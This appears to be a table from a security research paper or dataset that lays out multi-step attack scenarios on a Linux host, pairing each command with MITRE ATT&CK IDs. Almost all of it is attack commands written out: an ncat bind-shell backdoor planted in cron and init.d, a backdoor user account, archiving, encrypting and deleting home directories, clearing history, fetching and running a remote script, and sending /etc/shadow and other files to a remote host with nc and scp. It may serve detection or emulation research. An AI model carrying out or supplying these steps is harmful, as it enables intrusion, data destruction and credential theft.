Multi-step Attack Scenarios. The first row under each step is the question or command issued by the attacker. The second row describes the information the attacker gathers from the action taken in the step.

System Reconnaissance	Data Obfuscation & Ransomware	Scanning & Lateral Propagation	Persistence	Data Reconnaissance & Exfiltration
Step 1				
uname -a	cd / && pwd	ip addr (ifconfig)	echo "ncat -lvp 15000 -e /bin/sh" >> /etc/cron.daily/ logrotate	ls -la /home
Remarks & MITRE ATT&CK ID				
Getting Unix operating info T1592.003 T1592.004	Traversing to root directory and getting current working directory T1083	Getting host address and host subnet size. T1590.004 T1590.005 T1016	Storing ncat backdoor into daily cronjob T1547 T1053.003	List home directory for users that may have data T1083
Step 2				
cat /proc/cpuinfo	tar -cvf home.tar /home/	for i in {1..254}; do ping -c 1 X.X.X.$i; done | grep "bytes from" | head	tail /etc/cron.daily/ logrotate	cd /home/<user>
Remarks & MITRE ATT&CK ID				
Getting processor information T1592.001	Creating archive of home directory for all users T1074 T1650	Pinging all hosts on network to discover active IPs T1595.001 T1590.004 T1590.005 T1049	Viewing file content to verify appending of backdoor	Traversing to discovered user directory
Step 3				
service –status-all	rm -r /home && ls	nc -znv <IP> 1-1000 2>&1 | grep succeeded	echo "ncat -lvp 15000 -e /bin/sh" > /etc/init.d/ippd	ls -la
Remarks & MITRE ATT&CK ID				
View status of all available services T1007 T1049	Removing home directory after archiving and viewing result on root directory T1485 T1083	Scanning first 1000 ports of discovered host T1046	Creating new script to open backdoor on system boot T1547 T1037.005	Viewing current user directory to find exfiltratable data T1083
Step 4				

df -h	expect -c 'spawn gpg –cipher-algo AES256 –symmetric home.tar; expect "Enter passphrase:"; send "pass\n"; expect "Repeat passphrase:"; send "pass\n"; interact'	ssh root@<IP>	ls -la /etc/init.d | grep ippd	gzip <file>
Remarks & MITRE ATT&CK ID				
Viewing disk space usage T1082	Encrypting archived home directory T1560	Attempting to log into the root user of system running SSH T1021.004	Viewing directory to verify the initialization script was created T1083	Compressing file for obfuscation T1560
Step 5				
netstat -tulpn	rm home.tar	password (if prompted)	which ncat (apt-get install ncat if no output)	mv <file>.gz ext.gz && ls
Remarks & MITRE ATT&CK ID				
See what ports are open and which processes the ports are associated with T1049 T1057 T1518	Remove old archive to leave only encrypted version T1070.004	Providing password for session if prompted T1021.004	Viewing if ncat is installed. If not, the package manager is used to install	Change compressed filename and list contents of active directory to verify name change
Step 6				
cd /var/log	ls -la	curl <IP> > file.sh && chmod 777 file.sh	ncat -lvp 15000 -e /bin/sh &	file ext.gz
Remarks & MITRE ATT&CK ID				
Traversing to directory commonly storing log files	Viewing root directory to verify encryption T1083	Fetching additional resource and changing permissions to allow execution T1588.001 T1222.002	Use ncat to establish backdoor on nonstandard port, opening a shell when connected to T1547	Viewing compressed file format data
Step 7				
ls | grep -E "\.log$" && pwd	dd if=/dev/zero of=/opt/swap bs=1024 count=524288	./file.sh && rm file.sh	netstat -tulpn	nc <IP> 15000 < ext.gz
Remarks & MITRE ATT&CK ID				

Listing all log files in the directory and verifying the working directory T1083	Overwriting the swap file T1485	Executing fetched script and deleting after execution T1070.004	See what ports are open and which processes the ports are associated with to verify backdoor is active T1049 T1057 T1518	Printing compressed data to nonstandard port that C2 is listening on T1048.003
Step 8				
tail /etc/passwd	history -c	apt-get install nmap	useradd -p ‘openssl passwd -1 password‘ john (useradd john + password in interaction)	cat /etc/shadow
Remarks & MITRE ATT&CK ID				
Printing user data 1003.008	Delete command history T1070.003	Install NMap package for network scanning	Create a local user account T1136.001	Printing password hash data 1003.008
Step 9				
w	history	nmap -sV <IP>	cat /etc/passwd	scp /etc/shadow user@<IP>:~
Remarks & MITRE ATT&CK ID				
See all active users on the system T1033	Verify command history is deleted	Scanning active ports for running services T1046	Printing user data to verify user creation 1003.008	Exfiltrating password hash data on encrypted channel on standard port T1048.002